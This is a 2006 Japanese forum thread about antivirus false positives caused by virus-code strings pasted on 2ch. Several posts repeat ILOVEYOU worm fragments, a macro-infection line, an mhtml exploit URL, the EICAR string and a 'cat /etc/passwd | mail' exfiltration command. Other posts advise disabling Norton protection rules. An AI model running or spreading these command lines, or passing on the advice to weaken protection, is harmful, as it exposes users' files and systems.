data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)) 582 名前：ひよこ名無しさん mailto:sage [2006/06/18(日) 18:33:56 ID:???] 583 名前：ひよこ名無しさん mailto:age [2006/06/20(火) 00:04:58 ID:???] 時々スレを転々としてると、急に変な改行になるんですが（文と文の隙間が全部空いてしまう） これってウイルスに侵されてるのでしょうか？ 584 名前：ひよこ名無しさん mailto:sage [2006/06/20(火) 01:18:31 ID:???] 　　　　　　　　　　　　　l'vﾍ 　　　　　　　　　ﾊ　┌( ;/ ﾄ,　,、 rﾍ　 r'^ﾅrジ-z 　　　 __}ヽ,__　(ヽ/ス_r^フしz,り　い)ｎ／ｲr〜^′ 　　　'っヾ､r'__ 　|ﾚ'ノ_C'入彳勺ｿメろ_ｊ／し-,_ 　　　　｀フ ヾ勹_| <_r' !|刀_｣r''>||／⌒(_rﾍ-‐' 　　　　　＜_ゝし||ﾌぅ（ひzメ__ゝ'l !'そ 　　　　　　　 ~zヾ|て ､l レ^ //'| |'~ 　　　 　 　 　 　 | |　ヽl｜ //　}｜ 　　　 　 　 　 　 | :!　｜|　| | ,/ ,' 　　　　　　　　　 | :{.　|｜ | |/ /　　すいません、ちょっと通りますよ・・・ 　　　　　 　 　 　 l　!｜|　| | / 　　　　　　　　　　ヽ ヽ.|/ // 　　　　　　　　　　_,r)_ j (_,(　　　　　　　　　　　ciz 　　　　　　　　　,ﾉこ_-　__,ｰヽ　　　　　 　　　ん|Zゥ ﾚz　 ｚjそ_ 　　　　　　　 　 }　　　　... 　丿　　　 　 　 ろ､,_!|乙7ﾑLそ/し-z 　　　　　　　　 ﾉ""''　　 一（　　　 　 　 　 ｀う.l !シ/ア了//_⊂, 　　　　　 　 ／､__　　　　　　ヽ　　　　 　 　 ^'| |~//,/_ソ ハr^ 　 　 　 　 /　　　 ...... 　 　　ーl　　　　　　 　 | |// /／ノ 　　　　　/~"'　､＿_／　　　,,,...}　　　　 　　　|/ /／／　　　　　 　 _Jv　,､ _,、 　　　 　 {'　_　　`y′　一　　/　　　　 　 　 r'〜(_ノ　 　 　 　 　 z'jく|!ぞぅﾝそ 　　　　 人　 　=/‐-　　　　 ﾊ　　　　　　 丿" 　''(　　 　 　 　 　 ぅY||/ｿ'／｀′ 　　　　　　ヽ '' /　　__,,　　/　　　　　　　/　‐-　 '''）　 　 　 　 　 　| ﾚ'// 　　　　　 　 '∨　　　　　X.　　　　　　　 }'''　 　....ノ　　　　　　　　 ﾉﾑxく 　　　　　　 　j　 　 ー／　　　　　　　　/==　　ノ'ヽ　　　　　　　 ｒご　ｰ（ 　　　　　　　/=‐　 r'´-ヽ　　 　　　　　}　　ｰ/'''' 　{　　　 　 　 ,ﾉ''　y'　...） 　　　　　　 ,'　_,,　人　''"｀、　　　　　 ﾉ.. '' ノ`ヽ ''"ヽ　　　 　 /　ｰ人.... （ 　　　 　 　 {ー　/　　＼ -'}　　　　　/　／　 　　＼'''}` 　 　 （'' ィ´ 　 ＼_ヽ 　　　　　　ﾊ　 〈　 　 　 ）八　　 　 （　ｆ　　　　　 　)ﾊ.　　　　 ）ﾉ　 　 　 _)ﾉ 　　　　　　　ヽ　）　　　（(　　 　 　 　）ﾉ　　　 　 ／　　　 　 ｰ'′ 585 名前：dirsystem&"\MSKernel32.vbs mailto:ms-its:mhtml:file://C: [2006/06/20(火) 01:55:47 ID:???] >>568 586 名前：あぼ〜ん mailto:sage [2006/06/20(火) 01:56:38 ID:???] >>568 >>585 587 名前：ひよこ名無しさん mailto:sage [2006/06/20(火) 02:15:03 ID:???] >>583 シリア語ブラクラ これを使うといい。 www.geocities.jp/cen_hp/program3.html 588 名前：ひよこ名無しさん mailto:sage [2006/06/20(火) 23:24:54 ID:???] <body onload=window()> If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") cat /etc/passwd | mail nobody@nonexistent.com If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" 589 名前：ひよこ名無しさん [2006/06/21(水) 12:18:24 ID:nQsDrOZ+] このスレに貼ってあるソースは大丈夫なのですか？ 例えば>>580-581とか、>>588とか… このスレだと反応ないんですが、何か特別なのでしょうか？ 590 名前：ひよこ名無しさん [2006/06/21(水) 14:23:42 ID:fhcCUte2] テスト 591 名前：ひよこ名無しさん mailto:sage [2006/06/21(水) 20:24:45 ID:???] >>589 心配しすぎだと思うんです（＞＜） これが動いたら2chは大騒ぎになっちゃうと思うんです（＞＜） 592 名前：ひよこ名無しさん。 mailto:sage [2006/06/21(水) 23:50:37 ID:???] NGワードあぼ〜んすればおｋ 593 名前：ひよこ名無しさん [2006/06/22(木) 20:26:16 ID:l9A+tZtH] 誘導されてきました 導入しているマカフィーでスキャンかけても何の反応もなかったんですが、 ノートンのオンラインスキャンやってみると 感染ファイルが二個みつかって C:\Program Files\gikoNavi\Log\2ch\aasaloon\Folder.idx は　Bloodhound.Exploit.6 に感染しています。 C:\Program Files\gikoNavi\Log\2ch\aasaloon\subject.txt は　Bloodhound.Exploit.6 に感染しています。 と言う表示が出ました。 これは危険なんでしょうか。それともただのウィルスコード？ 594 名前：ひよこ名無しさん mailto:sage [2006/06/22(木) 20:27:57 ID:???] >>593 ただのウィルスコード これで消せる。 www.geocities.jp/cen_hp/program3.html 595 名前：ひよこ名無しさん mailto:sage [2006/06/22(木) 20:28:13 ID:???] >>593 ノートンがvbsウィルスのソースに誤反応３ pc7.2ch.net/test/read.cgi/pcqa/1109609938/ 596 名前：ひよこ名無しさん mailto:sage [2006/06/22(木) 20:28:47 ID:???] >>594 cen乙 597 名前：ひよこ名無しさん mailto:sage [2006/06/22(木) 20:30:04 ID:???] >>594-596 レス早いなｗ 598 名前：ひよこ名無しさん mailto:sage [2006/06/22(木) 20:41:25 ID:???] 粘着してリロードしながら監視してるんだろ？www 599 名前：ひよこ名無しさん [2006/06/22(木) 20:44:02 ID:l9A+tZtH] >>594 ありがとうございます。 見分けるコツみたいなものはあるんですか？ 600 名前：ひよこ名無しさん mailto:sage [2006/06/22(木) 22:08:53 ID:???] <body onload=window()> If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" 601 名前：ひよこ名無しさん mailto:sage [2006/06/23(金) 00:17:41 ID:???] ノートンがvbsウィルスのソースに誤反応３ pc7.2ch.net/test/read.cgi/pcqa/1109609938/ テンプレにでも入れるか・・・？ 脳豚使うなら自力で何とかしろよ・・・ 602 名前：ひよこ名無しさん mailto:sage [2006/06/23(金) 00:18:16 ID:???] 誤爆 603 名前：ひよこ名無しさん mailto:sage [2006/06/23(金) 18:23:08 ID:???] ＿＿＿ゲームキャラ板でもﾓﾆｶﾜｲｲモニカ様＿＿＿ game10.2ch.net/test/read.cgi/gamechara/1146829934/ このスレを開くと閲覧できないどころか 一回再起動しないとgame10鯖に繋がらなくなる障害が出るんですが ＮＧコードとかどう打って対処すればいいのですか？ 604 名前：ひよこ名無しさん [2006/06/23(金) 18:23:47 ID:6hQn7KgH] 使用２ｃｈブラウザは　Ｊａｎｅ　Ｄｏｅ　Ｓｔｙｌｅです。 605 名前：ひよこ名無しさん mailto:sage [2006/06/23(金) 18:25:27 ID:???] >>604 回答めんどいからこのスレ内検索して 606 名前：ひよこ名無しさん mailto:sage [2006/06/23(金) 22:47:16 ID:???] >>599 専用ブラウザでスレを取得した「だけ」で反応したら間違いなく誤反応なので心配無用。 スレに貼られたURLをクリックして反応したならウィルスの疑いあり。 てゆーか、やたらとクリックしちゃダメ。 607 名前：ひよこ名無しさん mailto:age [2006/06/28(水) 16:58:31 ID:???] age 608 名前：ひよこ名無しさん [2006/06/29(木) 15:09:12 ID:C6iUe2mV] Your attention,Please. みなさまに申し上げます fire drill 火災避難訓練 609 名前：ひよこ名無しさん mailto:age [2006/06/29(木) 19:41:48 ID:???] age 610 名前：ひよこ名無しさん mailto:sage [2006/06/29(木) 21:38:29 ID:???] pc7.2ch.net/test/read.cgi/pcqa/1151570961/111- 111 名前：ひよこ名無しさん 投稿日：2006/06/29(木) 21:33:23 ID:P5JFBD43 キャップもらってパスワードもらって、名前欄に書き込んでも、 ○★　にならなくて○◆になってしまうんですが、どうしてでしょうか 113 名前：愛新覚羅 ◆WjkbiI..A2 投稿日：2006/06/29(木) 21:34:04 ID:??? >>111 ｳｲﾙｼかな 611 名前：ひよこ名無しさん [2006/06/30(金) 22:56:15 ID:2Lq/lYYu] テスト 612 名前：ひよこ名無しさん [2006/07/01(土) 00:07:11 ID:Dt6nkhA2] game10.2ch.net/test/read.cgi/arc/1151603946/16 コレって書き込んだ本人がウイルスに感染しているって事でしょうか？ 613 名前：ひよこ名無しさん mailto:sage [2006/07/01(土) 00:08:55 ID:???] >>612 ノートン先生を誤反応させるためにわざと貼ってるんだよ 614 名前：612 [2006/07/01(土) 00:39:41 ID:Dt6nkhA2] ただ、これ書いた人がカードゲームのトレードスレに 自分のメルアド出してブログバレしてます 615 名前：ひよこ名無しさん mailto:sage [2006/07/01(土) 23:18:07 ID:???] 複雑な自爆では？ 616 名前：ひよこ名無しさん [2006/07/02(日) 19:36:03 ID:ytfN9V0/] ノートン２００６でAutoprotectの設定で、ログのフォルダを除外したいのですが、 それらしい項目が分かりません。 Norton　AntiVirusオプションの項目ではないのでしょうか？ 617 名前：ひよこ名無しさん [2006/07/02(日) 20:00:00 ID:ytfN9V0/] 事故解決しました。 618 名前：ひよこ名無しさん [2006/07/03(月) 19:55:32 ID:pfnK+d5L] 専ブラ（Jane）での書き込みの妨害も先生の仕業？ 更新かけて解決するのであれば（期限切れ）、 してやらんでもないのだが・・・。 619 名前：ひよこ名無しさん mailto:sage [2006/07/03(月) 22:30:42 ID:???] >>618 > 更新かけて解決するのであれば（期限切れ）、 それはないな。FW（が入っているのであれば）一時的に切ってみるしか 620 名前：618 [2006/07/03(月) 23:15:21 ID:pfnK+d5L] >>619 いや、プラウザからなら書き込めるんですよ。 ノートン有効→一部の板の閲覧不可（IE、専ブラ共に） 　　　　無効→共に閲覧は可能　専ブラでの書き込みが不可。 ってわけでこの板だけは、IEからしか書き込めないんです・・・。 まぁ、通信を許可すれば解決なんでしょうが・・・。 いろいろやってみます。　どもでした。 621 名前：ひよこ名無しさん mailto:sage [2006/07/04(火) 02:40:17 ID:???] まったくの初心者ですが ノートンインターネットセキュリティー2006での誤反応対策を教えてください 既出でしたらアンカーでもいいのでお願いします 622 名前：ひよこ名無しさん mailto:sage [2006/07/04(火) 08:28:52 ID:???] >>621 >>1->>620を読め 623 名前：ひよこ名無しさん mailto:sage [2006/07/04(火) 10:11:31 ID:???] 「まったくの初心者」 だからどうした？このスレを100回読んで知識増やせ。 624 名前：ひよこ名無しさん [2006/07/04(火) 20:16:10 ID:Bwi55Fwo] スレを開いたら突然ウィルスに感染したんですがurlを直接踏まなくても 感染するウィルスはあるんですか？ 625 名前：ひよこ名無しさん mailto:sage [2006/07/05(水) 11:14:56 ID:???] >>624 >>1->>620を読め 626 名前：ひよこ名無しさん [2006/07/05(水) 17:10:28 ID:xPsQC9iJ] 　　　　　　 , ---　､_ 　　　 　 ／ミミミヾヾヽ､＿ 　　　∠ヾヾヾヾヾヾjj┴彡ﾆヽ 　　/ ,　-ー‐'"´´´　　　 ヾ.三ヽ 　 ,' /　　　　　　　　　　　　ヾ三ヽ 　 j |　　　　　 　　　　 　 / }ミ　i 　 | |　　　　　　　 　 　 　 / /ミ　 ! 　 } | r､　　　　　　　　　　l　ﾞiミ __」　 　　|]ﾑヽ､_　　　　__∠二､__,ｨ|/ ｨ } 　　| 　 ￣｀ﾐｌ==r'´　　 　 /　|lぅ　lj　 　私が原田ウィルス作者ですが何か？ 　　「!ヽ､_×___j　ヽ､×　 -'　　ﾚ'r'/　　 　　 `! 　 　 j　　ヽ　 　 　 　 j_ノ　　　 　　　',　 　 ヽｧ_ '┘　　　　　,i　　　　 　　　 ヽ　　___'...＿_　　 i 　 ハ__ 　　　　　 　　　　 ヽ　ﾞ二二　`　 ,' ／／ 八 　　　　　 ヽ　 　 　 　 ／'´ 　 /　ヽ 　　　　　　|ヽ､＿_,　'´ / 　 ／　　　＼ 627 名前：ひよこ名無しさん mailto:sage [2006/07/07(金) 03:17:23 ID:???] >>577 遅ﾚｽだけど一応。 ttp://mickey.mirv.net/2chnis.html ↑みて最新のｱﾄﾞﾚｽ設定しる 628 名前：ひよこ名無しさん [2006/07/15(土) 01:31:41 ID:668g3rrq] こんなPCはネットにつなぐな！ 3日間放置した無防備PCの結末は？ arena.nikkeibp.co.jp/col/20050510/112145/ 以下すべて日本語対応で無料。 ブラウザ：Firefox www.mozilla-japan.org/products/firefox/ メーラー：Thunderbird www.mozilla-japan.org/products/thunderbird/ 　上記2種の拡張（beau.g-com.ne.jp/mon-extension.html） スパイウェア対策：www.geocities.jp/primarystage/spyware.html ウィルス対策：avast! www.forest.impress.co.jp/lib/inet/security/antivirus/avast.html 適当なルーター：BUFFALO BBR-4HG　netspeed.studio-radish.com/netspeeddata/throughput_review/buffalo_bbr4hg.html 無料のウイルス対策ソフトなどのセキュリティソフト一覧 www.geocities.co.jp/SiliconValley-Cupertino/2010/security.html セキュリティ板 pc8.2ch.net/sec/ 629 名前：ひよこ名無しさん [2006/07/23(日) 19:35:23 ID:XNQAeCHC] <body onload=window()> If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1))　　 630 名前：ひよこ名無しさん mailto:sage [2006/07/24(月) 00:49:37 ID:???] できれば既出のものじゃなくて 新しいの一行づつ張ってほしいなぁ。 631 名前：ひよこ名無しさん mailto:sage [2006/07/29(土) 23:32:33 ID:???] 2ＣＨ自体、５月からはじめました。 ノートンがなんだかよくわかりませんが、ある掲示板で症状を書き込んだところ ノートン先生かといわれました。 症状としては、かんじなどを変換すると候補がでますが、するとその時点でＩＥが 強制終了してしまいます。 2ＣＨはＩＥでみています。最初から。 これ、直るのでしょうか？ パソコン使えないとネットで就職活動もできず困っています。 どうかよろしくお願いします。 632 名前：ひよこ名無しさん mailto:sage [2006/07/29(土) 23:59:23 ID:???] このスレとは関係ないような・・・ 633 名前：ひよこ名無しさん mailto:sage [2006/07/30(日) 00:06:37 ID:???] >>631 ですけど、感染したときにLOVE-LETTERなんとかというものが画面に表示されました。 そのときなんだかわからなかったので、続行のボタンを押しました。 漢字を変換するとＩＥが落ちてしまうので、最初に出てきた感じで該当するものが泣ければ そのままにしています。 なんとかならないでしょうか。 634 名前：ひよこ名無しさん mailto:sage [2006/07/30(日) 00:40:34 ID:???] ここはウイルス対策ソフトの「誤反応」のスレです。 ウイルスにほんとに感染してる件ならスレ違い 635 名前：ひよこ名無しさん mailto:sage [2006/07/30(日) 03:56:39 ID:???] >>633 よく分からないならクリーンインストールしろ。 それも出来ないなら就職浪人決定。 636 名前：ひよこ名無しさん mailto:sage [2006/07/30(日) 19:55:34 ID:???] クリーンインストールってなに？ 637 名前：ひよこ名無しさん mailto:sage [2006/07/30(日) 20:12:01 ID:???] おまえの頭を入れ替えること 638 名前：ひよこ名無しさん mailto:sage [2006/07/31(月) 00:58:59 ID:???] つまらん。０点。>>637 639 名前：ひよこ名無しさん mailto:sage [2006/07/31(月) 01:59:16 ID:???] 女王様の椅子取りゲーム 640 名前：ひよこ名無しさん [2006/08/03(木) 17:37:02 ID:oF+rx1Q5] >>636 ぐぐっておいてやった。参考にしる。 ttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%82%A4%E3%83%BC%E3%83%B3%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB&lr= ttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%A4%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB&lr= ttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%A2%E3%83%B3%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB&lr= ttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%82%A5%E3%83%BC%E3%83%AB&lr= ttp://www.google.co.jp/search?hl=ja&q=%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%A0%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB&lr= どれも似たような内容なので、好きなのを選べばいいべさ 641 名前：ひよこ名無しさん mailto:sage [2006/08/10(木) 13:48:08 ID:???] ウイルスコードの誤反応ではありませんが、 ノートンを切らないとＰＣＱＡ板に入れなくなってしまいました。（進入検知が誤反応） この場合はどうすればいいでしょうか？ 642 名前：ひよこ名無しさん mailto:sage [2006/08/10(木) 15:08:46 ID:???] >>641 ノートンを切ればいいと思います。 643 名前：ひよこ名無しさん mailto:sage [2006/08/10(木) 16:07:02 ID:???] >>641 ２ｃｈを見ようとすると「侵入を検出して遮断しました。」というダイアログが表示されて ２ｃｈを見れなくなってしまう問題のまとめページ。 mickey.mirv.net/2chnis.html ノートン誤作動対策本部 qb5.2ch.net/operate/kako/1133/11331/1133161720.html 644 名前：ひよこ名無しさん mailto:sage [2006/08/10(木) 18:08:02 ID:???] <<642<<643�d 645 名前：ひよこ名無しさん mailto:sage [2006/08/12(土) 15:29:22 ID:???] 質問お願いします。 ノートン側のオプションから除外指定するとき、 *.dbx *.nch というのが除外の欄に書いてあったのですが、これは最初からそうなのでしょうか？ 例えばノートン自体が攻撃されて書き換えられる可能性とかありますか？ 646 名前：ひよこ名無しさん mailto:sage [2006/08/12(土) 17:20:14 ID:???] >>645 デフォルトでそうなってるから心配すんな 647 名前：645 mailto:sage [2006/08/13(日) 06:13:39 ID:???] >>646 ありがとございます。 648 名前：ひよこ名無しさん mailto:sage [2006/08/14(月) 01:05:42 ID:???] マカフィーでもコード貼られたログファイル消されて見れないんだけどどうすればいい？ 649 名前：ひよこ名無しさん mailto:sage [2006/08/15(火) 01:23:16 ID:???] >>648 >>17 pc8.2ch.net/test/read.cgi/sec/1153128180/28-29n pc8.2ch.net/test/read.cgi/sec/1153128180/298-305n 650 名前：ひよこ名無しさん mailto:sage [2006/08/16(水) 18:54:56 ID:???] でも、ノートン自体は反応しても実際にウイルスではないんですよね？ 651 名前：ひよこ名無しさん mailto:sage [2006/08/16(水) 22:35:50 ID:???] だからスレタイにも誤反応って書いてあるだろ 652 名前：ひよこ名無しさん mailto:sage [2006/08/17(木) 02:53:34 ID:???] 確認しただけだろ。 頭固てえな。 653 名前：ひよこ名無しさん mailto:sage [2006/08/20(日) 16:12:51 ID:???] >643 この対応ってNISだけですよね。 自分ノートンアンチウイルスの方なんだが、やっぱ誤作動する。 これはどう解除すればいいんだ？ 654 名前：ひよこ名無しさん mailto:sage [2006/08/20(日) 21:24:08 ID:???] >>653 >>643末尾に挙げられている過去ログでレス番727あたりから読んでみるといいかも 655 名前：ひよこ名無しさん [2006/08/22(火) 03:27:14 ID:NKrNf7Jc] mickey.mirv.net/2chnis.htmlを見て >タスクトレイのNISアイコンを左クリック＞「Norton Internet Securityを開く」 をやってみたのですが左クリックをしても何も出てきません。 右クリックなら「Norton　Anti Virusを開く」「Ａｕｔｏ　Ｐｒｏｔｅｃｔを無効にする」 「Norton Antiオプション」の三つのメニューが出るんですが、 どうすればNorton Internet Securityを開くことができるんでしょうか。 656 名前：ひよこ名無しさん mailto:sage [2006/08/22(火) 06:49:12 ID:???] >>655 もしかしてNAVしかインストールしてないとか？ mickey.mirv.net/2chnis.html　には説明ないけど NAVでも誤反応する。>>654参照 657 名前：ひよこ名無しさん mailto:sage [2006/08/24(木) 21:19:27 ID:???] ■２ちゃんねる 初心者が安心して質問できるスレッドガイダンス (ノートントラップ全般への対策法) ttp://ansitu.xrea.jp/guidance/?Trap#NortonTrap ■２ch NIS問題まとめページ ttp://mickey.mirv.net/2chnis.html ■特定のドライブ、フォルダ、ファイルをウイルススキャンの対象から除外する方法 service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/7c3ff4677729271685256c470046ed2e/d9265b84ded9587488256b0400811ff7 ・上記設定でまだ反応がある場合は、「専ブラプログラムフォルダ丸ごと」も同様に除外に追加してみて下さい。 ・２ちゃんねる専用ブラウザの読み込み禁止単語機能に、 「v bs」、「O nload」、「o nload」、「L OVE-LETTER」、「M acro」、「n osuch」、「E ICAR-STANDARD-ANTIVIRUS-TEST」などの 単語を登録しておきましょう。（※ 単語の途中一箇所スペース空けてるんで詰めて登録して下さい） ・各専用ブラウザのスレッド情報も参照して下さい。 ・NIS(NPF)のファイアーウォールを誤作動させるコード文字列に関して → 応急対策を参照 ・タスクトレイのノートンアイコンをクリック → NISを無効にする (5分) → NIS無効中に専用ブラウザでスレッドをリロード取得 → NISを有効に戻す （※この方法でもNPFトラップ回避可能） ■いきいき Wiki　-　ノートンインターネットセキュリティに関するＦＡＱ info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq00 658 名前：ひよこ名無しさん mailto:sage [2006/08/29(火) 22:27:40 ID:???] 727 名前： 動け動けウゴウゴ２ちゃんねる 投稿日： 2006/03/26(日) 16:24:59 ID:pwaEyKGo0 >>726 参考までに・・・ただし、自己責任で ノートンアンチウイルス2006 Ver.1 pc8.2ch.net/test/read.cgi/sec/1129452372/996 ＞ まず、オプション→インターネット→インターネットワーム防止→除外の設定で、 ＞ HTTP MSIE JavaScript OnLoad Rte CodeExecのチェックを外す。 ＞ そのあと、オプション→インターネット→インターネットワーム防止→ ＞ AutoBlockルール→現在、AutoBlockで遮断しているコンピュータで、 ＞ 遮断解除してok。で、ok。 659 名前：ひよこ名無しさん [2006/09/01(金) 17:54:57 ID:O8GwKufV] てす 660 名前：ひよこ名無しさん mailto:age [2006/09/01(金) 19:19:06 ID:???] と 661 名前：ひよこ名無しさん mailto:sage [2006/09/05(火) 22:30:31 ID:???] #include <mmlite.h> #include <stdlib.h> #include <tchar.h> UINT __cdecl _ttoh(const _TCHAR *String) { UINT Value = 0, Digit; _TCHAR c; while ((c = *String++) != _EOS) { if (c >= '0' && c <= '9') Digit = (UINT) (c - '0'); else if (c >= 'a' && c <= 'f') Digit = (UINT) (c - 'a') + 10; else if (c >= 'A' && c <= 'F') Digit = (UINT) (c - 'A') + 10; else break; Value = (Value << 4) + Digit; } return Value; } 662 名前：ひよこ名無しさん mailto:sage [2006/09/10(日) 21:32:48 ID:???] >>1 ＞＞2chブラウザのログ保存フォルダを「除外」に設定。 これがどういうことかもうすこし詳しく説明してください。 2chブラウザのログ保存フォルダとは、どこにあるのでしょうか。 除外に認定とは、何の除外に認定すればいいのでしょうか。 これだけでは全く意味がわかりません。 663 名前：<body onload=window()> mailto:<body onload=window()> [2006/09/10(日) 22:26:11 ID:???] [ 自主制作映画 ] [ ジャッカル ] 第 0012 話 ジャッカルがあるさ ( Rev 0001 ) ( 低画質 Ver ).avi 7,177,218 07818b50961750fbaef7124384ac2e70 [ 自主制作映画 ] [ ジャッカル ] 第 0037 話 クッキング・オブ・ジャッカル II ( Rev 0004 ) ( 低画質 Ver ).avi 9,789,864 22b1bd0222641a2ca3cdeb2176170e1b !(映画アニメ) ドラえもん のび太と雲の王国.avi 361,081,856 65f122004a3545aac6ae276a9765bb3c ## ひぐらしのなく頃に - 暇潰し編 - 其の壱　「ヒナミザワ」.avi 147,861,504 d85b4c07df470706aae626d5c8579571 ##(ドラマ)恋の時間 第07話[704×396 DivX6.xxHe-3].avi 378,019,316 53f9c9cba3b31e05d934d3e2bb0b8f3d #289 ダウンタウンのガキの使いやあらへんで 第289回 [1995.09.03] 今日我々は豚を食べる!!＋トーク.avi 143,990,332 7616f03362cb813a456f5844a5bdb956 #DMS Night24.com アナルセックス サンドイッチ　あや.avi 724,464,291 751e423a7fd2f543cbb3e624048051e0 664 名前：ひよこ名無しさん mailto:sage [2006/09/10(日) 22:30:08 ID:???] >>662 > 2chブラウザのログ保存フォルダとは、どこにあるのでしょうか。 使っている2ch専用ブラウザによって違います。 専用ブラウザを使っていない人には関係ありません。 > 除外に認定とは、何の除外に認定すればいいのでしょうか。 ウイルス対策ソフトの検知対象から除外するように設定します。 やり方はウイルス対策ソフトによって違います。 除外設定(「認定」ではなく「設定」)ができないウイルス対策ソフトもあります。 > これだけでは全く意味がわかりません。 以上の説明で全く意味がわからないなら、当面は気にする必要ありません。 実際にその現象に遭遇すれば自然とわかるようになるでしょう。 665 名前：662 mailto:sage [2006/09/11(月) 19:21:09 ID:???] >>664 　　　　　　　　　　　　 　 ミﾐ ヽヽヽヽﾘﾘﾉﾉノノ 　　　　　　　　　　　　　 ミ　　 ,,､,､,､,､,､,､,､､ 彡　　 　　　　　　　　　　r､r.r ､l 　 i''" 　　　　　 　　i彡 　　　　　　　　　r |_,|_,|_,||　 」　　　 ／'　　'＼　| 　　　　　　　　　|_,|_,|_,|/⌒/　　 　-･=-, ､-･=-│ 　　　　　　　　　|_,|_,|_人そ(^i　　　　 ﾉ( ､_, )ヽ　|　　・・・で？ 　　　　　　　　　|　)　　 ヽﾉ　|.　　 ノ　 　!!　　　| 　　　　　　　　　|　　`".｀´ 　ﾉ　　 　　ノ￣i　　 | 　　　　　　　　 人　　入＿ノ´　　　　ヽﾆﾆノ 　ﾉ＼ 　　　　　　　／　　＼＿／＼＼　　 　　　　　　/|＼＼ 　　　　　　　　　　　　 ／　　 ＼　ト ───ｲ/　　 ヽヽ 666 名前：ひよこ名無しさん mailto:sage [2006/09/13(水) 01:41:38 ID:???] ■２ちゃんねる 初心者が安心して質問できるスレッドガイダンス (ノートントラップ全般への対策法) ttp://ansitu.xrea.jp/guidance/?Trap#NortonTrap ■２ch NIS問題まとめページ ttp://mickey.mirv.net/2chnis.html ■特定のドライブ、フォルダ、ファイルをウイルススキャンの対象から除外する方法 service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/7c3ff4677729271685256c470046ed2e/d9265b84ded9587488256b0400811ff7 ・上記設定でまだ反応がある場合は、「専ブラプログラムフォルダ丸ごと」も同様に除外に追加してみて下さい。 